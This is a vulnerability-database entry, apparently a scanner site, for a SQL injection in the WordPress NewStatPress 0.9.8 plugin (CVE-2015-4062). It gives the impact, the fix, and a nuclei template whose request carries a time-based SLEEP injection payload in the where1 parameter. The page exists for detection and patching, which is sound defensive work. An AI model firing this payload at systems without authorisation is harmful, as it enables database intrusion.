HexBrain

Browse / CVEs / CVE-2015-4062

CVE-2015-4062· newstatpress project / newstatpress· CWE-89

WordPress NewStatPress 0.9.8 - SQL Injection

mediumseverity
6.5CVSS score
9.3%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

WordPress NewStatPress 0.9.8 plugin contains a SQL injection vulnerability in includes/nsp_search.php. A remote authenticated user can execute arbitrary SQL commands via the where1 parameter in the nsp_search page to wp-admin/admin.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Update to plugin version 0.9.9 or latest.

How to confirm it

Send: POST /wp-login.php ; @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(body_2, "newstatpress_page_nsp_search")

Run it with nuclei: nuclei -id CVE-2015-4062 -u <target>

The full check
id: CVE-2015-4062

info:
  name: WordPress NewStatPress 0.9.8 - SQL Injection
  author: r3Y3r53
  severity: medium
  description: |
    WordPress NewStatPress 0.9.8 plugin contains a SQL injection vulnerability in includes/nsp_search.php. A remote authenticated user can execute arbitrary SQL commands via the where1 parameter in the nsp_search page to wp-admin/admin.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Update to plugin version 0.9.9 or latest.
  reference:
    - https://packetstormsecurity.com/files/132038/
    - https://wordpress.org/plugins/newstatpress
    - http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4062
    - https://wordpress.org/plugins/newstatpress/changelog/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:P/A:P
    cvss-score: 6.5
    cve-id: CVE-2015-4062
    cwe-id: CWE-89
    epss-score: 0.09292
    epss-percentile: 0.95409
    cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: newstatpress_project
    product: newstatpress
    framework: wordpress
  tags: time-based-sqli,cve2015,cve,authenticated,sqli,wp-plugin,newstatpress,packetstorm,wordpress,wp,newstatpress_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 20s
        GET /wp-admin/admin.php?where1=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&limitquery=1&searchsubmit=Buscar&page=nsp_search HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body_2, "newstatpress_page_nsp_search")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from